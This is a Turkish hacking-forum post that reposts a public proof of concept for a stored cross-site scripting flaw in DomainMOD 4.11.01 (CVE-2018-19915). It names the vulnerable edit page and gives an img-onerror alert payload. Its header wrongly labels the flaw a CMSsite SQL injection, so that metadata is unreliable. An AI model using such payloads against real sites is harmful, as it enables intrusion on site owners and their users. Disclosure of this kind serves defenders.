Turkhackteam.net/org - Turkish Hacking & Security Platform  
Geri git   Turkhackteam.net/org - Turkish Hacking & Security Platform >
Turkhackteam Under Ground
> Exploitler

Exploitler Exploit Nedir ? Nasıl Kullanılır Ve Yeni Çıkan Exploitler Hakkında Bilgi ...




DomainMOD 4.11.01 - Cross-Site Scripting

Exploitler

Yeni Konu aç Cevapla
 
Seçenekler
Alt 19-02-2019 14:45   #1
  • Anka Saldırı Timi Asistanı
  • Üye Bilgileri
Üyelik tarihi
07/2014
Nereden
127.0.0.1
Yaş
20
Mesajlar
Konular

Teşekkür (Etti): 54
Teşekkür (Aldı): 110


DomainMOD 4.11.01 - Cross-Site Scripting



# Exploit Title/Exploit Başlığı: CMSsite 1.0 - 'post' SQL Injection
# Date/Tarih: 2018-11-22
# Exploit Author/Exploit Yazarı: Mohammed Abdul Kareem
# Vendor Homepage/Yapımcı Sitesi: https://domainmod.org/
# Version/Versiyon: v4.09.03 to v4.11.01
# CVE : CVE-2018-19915
# Domainmod uygulama paneline giriş yaptıktan sonra, şu adresi girin
/assets/edit/host.php?whid=5 "Web Ana Bilgisayar Adı" & "Web Ana Bilgisayarının URL alanları" a sonra bir javascript XSS payload ı yükleyin <img src=x
onerror=alert("XSSed-By-Abdul-Kareem")>


#POC : https://github.com/domainmod/domainmod/issues/87


Exploit Adresi :



___________________________________________

NE MUTLU TÜRK'ÜM DİYENE

 Offline  
 
Alıntı ile Cevapla
Cevapla

Bookmarks

Seçenekler


Bilgilendirme Turkhackteam.net/org
Sitemizde yer alan konular üyelerimiz tarafından paylaşılmaktadır.
Bu konular yasalara uygunluk ve telif hakkı konusunda yönetimimiz tarafından kontrol edilse de, gözden kaçabilen içerikler yer alabilmektedir.
Bu tür konuları turkhackteamiletisim [at] gmail.com mail adresimize bildirebilirsiniz, konular hakkında en kısa sürede gerekli işlemler yapılacaktır.
Please Report Abuse, DMCA, Harassment, Scamming, Warez, Crack, Divx, Mp3 or any Illegal Activity to turkhackteamiletisim [at] gmail.com

Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz.
Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.



         

Powered by vBulletin® Copyright ©2000 - 2019

TSK Mehmetçik Vakfı

Türk Polis Teşkilatını Güçlendirme Vakfı

Google+
Pomeranian Boo
instagram takipci hilesi

wau